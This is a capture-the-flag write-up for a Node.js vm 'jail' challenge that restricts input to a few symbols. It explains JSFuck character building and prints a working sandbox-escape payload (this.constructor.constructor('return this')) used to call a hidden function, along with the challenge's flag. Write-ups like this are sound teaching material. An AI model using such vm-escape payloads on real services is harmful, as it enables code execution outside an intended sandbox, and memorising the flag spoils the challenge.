๐ NodeJs - Never Trust Node One
๐ Before you start
You can donate to me via Buy Me a Coffee or follow me on Github
๐ฉ Getting the flag
Once inside this NodeJs jail, we don't have many options weโre limited to using only a handful of characters:
$ nc nodejs.root-me.org 52000
+-------------------------------------------------------------------------------------------------------------+
| #### ## ## #### ## ## ## ## ###### ##### ###### #### #### |
| ## ## #### ## ## ## ## ## ## #### # ## # ## ## ## ## ## ## ## ## |
| ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### |
| ## ## ## ## ## ## ## ## ## ## ## ## ## ##### ### ###### |
| ## ###### ## ## ## ## ## ###### ## ## ## ## ## ## ### ## |
| ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## |
| #### ## ## ####### #### ##### ####### ## ## #### ##### #### ## ###### ## #### |
+-------------------------------------------------------------------------------------------------------------+
For security reasons, you can only use the following characters : ()[]{}'0123456789+-*/!
>>>
๐บ๏ธ How to know where we are ?
With so few characters, it's crucial to at least know what kind of environment we're in. To figure this out, weโll intentionally trigger an error.
>>> 1 **** 1
evalmachine.<anonymous>:1
(function() { 'use strict'; return 1 **** 1 ; })()
^^
SyntaxError: Unexpected token '**'
at new Script (node:vm:99:7)
at runInNewContext (/index.js:63:20)
at /index.js:77:33
at [_onLine] [as _onLine] (node:internal/readline/interface:414:7)
at [_line] [as _line] (node:internal/readline/interface:887:18)
at [_ttyWrite] [as _ttyWrite] (node:internal/readline/interface:1265:22)
at ReadStream.onkeypress (node:internal/readline/interface:264:20)
at ReadStream.emit (node:events:518:28)
at emitKeys (node:internal/readline/utils:371:14)
at emitKeys.next (<anonymous>)
From the output, we now know:
- Weโre in a
NodeJs environment - We have access to the
evalfunction - Weโre in
strict mode - Weโre running inside the
vmmodule - We have access to the
runInNewContextfunction
๐จ Getting characters
To start crafting a JavaScript payload, the first step is being able to generate characters. A fun and powerful method for that is something called JSFuck.
๐ค What is ``JSFuck`` ?!
JSFuck is an obfuscation technique. Thanks to JavaScriptโs permissiveness, you can literally write any script using only a few special characters. This works because JavaScript is very lenient with type coercion and internal object manipulation.
Letโs look at a simple example:
>>> (!1 + '')[1]
a
Let's break down what's going on here:
!1is equivalent tofalse.false + ''forces the conversion of false into a string, giving 'false'.'false'[1]returns the character at index 1, so'a'
By combining logic like this, you can reconstruct any string letter by letter, which is essential when crafting a payload without directly using any alphabetic characters.
So we can define a table like this to map characters:
const map = {
'a': `(!1+'')[1]`,
'b': `({}+'')[2]`,
'c': `({}+'')[5]`,
'd': `([][1]+'')[2]`,
'e': `(!0+'')[3]`,
'f': `(!1+'')[0]`,
'g': `(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14]`,
'h': ``,
'i': `(1/0+'')[3]`,
'j': `({}+'')[3]`,
'k': ``,
'l': `(!1+'')[2]`,
'm': `(1[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[11]`,
'n': `(1/0+'')[4]`,
'o': `({}+'')[1]`,
'p': `(/./[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14]`,
'q': ``,
'r': `(!0+'')[1]`,
's': `(!1+'')[3]`,
't': `(!0+'')[0]`,
'u': `(!0+'')[2]`,
'v': `(1[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[25]`,
'w': ``,
'x': `(/./[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[13]`,
'y': `(1/0+'')[7]`,
'z': ``,
'A': `([][({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
'B': `((!0)[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
'C': ``,
'D': ``,
'E': `(/./[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[12]`,
'F': `(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]][({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
'G': ``,
'H': ``,
'I': `(1/0+'')[0]`,
'J': ``,
'K': ``,
'L': ``,
'M': ``,
'N': `([]/[]+'')[0]`,
'O': `({}[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
'P': ``,
'Q': ``,
'R': `(/./[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
'S': `(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
'T': ``,
'U': ``,
'V': ``,
'W': ``,
'X': ``,
'Y': ``,
'Z': ``,
'.': `(+(11+(!0+'')[3]+100)+'')[1]`,
'+': `(1111111111111111111111+'')[19]`,
'<': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[0])`,
'>': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[23])`,
'=': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[11])`,
'/': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[25])`,
'"': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22])`,
};
๐งฉ Code Injection
As we know, the vm module allows us to execute JavaScript code in a sandboxed context. Itโs often used to run code in a โsafeโ environment, but it can also be used to run code in the global context.
We also know that we can break out of the vm context and execute code globally using this trick:
>>> this.constructor.constructor("return this")()
Welcome to Node.js v22.15.0.
Type ".help" for more information.
> this.constructor.constructor("return this")()
<ref *1> Object [global] {
global: [Circular *1],
clearImmediate: [Function: clearImmediate],
setImmediate: [Function: setImmediate] {
[Symbol(nodejs.util.promisify.custom)]: [Getter]
},
clearInterval: [Function: clearInterval],
clearTimeout: [Function: clearTimeout],
setInterval: [Function: setInterval],
setTimeout: [Function: setTimeout] {
[Symbol(nodejs.util.promisify.custom)]: [Getter]
},
queueMicrotask: [Function: queueMicrotask],
structuredClone: [Function: structuredClone],
atob: [Function: atob],
btoa: [Function: btoa],
performance: [Getter/Setter],
fetch: [Function: fetch],
navigator: [Getter],
crypto: [Getter]
}
Weโll do the exact same thing inside our jail but using JSFuck format.
>>> ''[(!1+'')[1]+(!0+'')[0]][({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]((!0+'')[1]+(!0+'')[3]+(!0+'')[0]+(!0+'')[2]+(!0+'')[1]+(1/0+'')[4]+' '+(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14]+(!1+'')[2]+({}+'')[1]+({}+'')[2]+(!1+'')[1]+(!1+'')[2])()
<ref *1> Object [global] {
global: [Circular *1],
clearImmediate: [Function: clearImmediate],
setImmediate: [Function: setImmediate] {
[Symbol(nodejs.util.promisify.custom)]: [Getter]
},
clearInterval: [Function: clearInterval],
clearTimeout: [Function: clearTimeout],
setInterval: [Function: setInterval],
setTimeout: [Function: setTimeout] {
[Symbol(nodejs.util.promisify.custom)]: [Getter]
},
queueMicrotask: [Function: queueMicrotask],
structuredClone: [Function: structuredClone],
atob: [Getter/Setter],
btoa: [Getter/Setter],
performance: [Getter/Setter],
fetch: [Function: fetch],
crypto: [Getter],
secret: [Function (anonymous)],
contextReturn: [Circular *1]
}
We can see that we now have access to a secret function called secret. So... letโs execute it.
>>> ''[(!1+'')[1]+(!0+'')[0]][({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]((!0+'')[1]+(!0+'')[3]+(!0+'')[0]+(!0+'')[2]+(!0+'')[1]+(1/0+'')[4]+' '+(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14]+(!1+'')[2]+({}+'')[1]+({}+'')[2]+(!1+'')[1]+(!1+'')[2]+(+(11+(!0+'')[3]+100)+'')[1]+(!1+'')[3]+(!0+'')[3]+({}+'')[5]+(!0+'')[1]+(!0+'')[3]+(!0+'')[0]+(1111111111111111111111+'')[19]+(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22])+(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22]))()
(password) => {
if (password === undefined) {
console.log("You need to enter a password !");
return;
}
if (password === "MST{nodejs_is_not_safe}") {
console.log("YOU WIN !!!");
return;
}
console.log("Wrong password !");
}
๐ Explication
'' -> this
[
(!1+'')[1] + -> 'a'
(!0+'')[0] + -> 't'
]
[
({}+'')[5] + -> 'c'
({}+'')[1] + -> 'o'
(1/0+'')[4] + -> 'n'
(!1+'')[3] + -> 's'
(!0+'')[0] + -> 't'
(!0+'')[1] + -> 'r'
(!0+'')[2] + -> 'u'
({}+'')[5] + -> 'c'
(!0+'')[0] + -> 't'
({}+'')[1] + -> 'o'
(!0+'')[1] -> 'r'
]
(
(!0+'')[1] + -> 'r'
(!0+'')[3] + -> 'e'
(!0+'')[0] + -> 't'
(!0+'')[2] + -> 'u'
(!0+'')[1] + -> 'r'
(1/0+'')[4] + -> 'n'
' ' + -> ' '
(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14] + -> 'g'
(!1+'')[2] + -> 'l'
({}+'')[1] + -> 'o'
({}+'')[2] + -> 'b'
(!1+'')[1] + -> 'a'
(!1+'')[2] + -> 'l'
(+(11+(!0+'')[3]+100)+'')[1]+ -> '.'
(!1+'')[3] + -> 's'
(!0+'')[3] + -> 'e'
({}+'')[5] + -> 'c'
(!0+'')[1] + -> 'r'
(!0+'')[3] + -> 'e'
(!0+'')[0] + -> 't'
(1111111111111111111111+'')[19] + -> '+'
(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22]) + -> '"'
(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22]) + -> '"'
)
()
(This section breaks down how each part of the JSFuck payload is built character by character, using type coercions and property lookups.)
๐ค Documentation
- Rebuild the alphabet
- Short JSFuck trick
- Get all characters and symbols
- Inspect a function
- Alternative to this
๐ Support
๐ Before you leave
You can donate to me via Buy Me a Coffee or follow me on Github
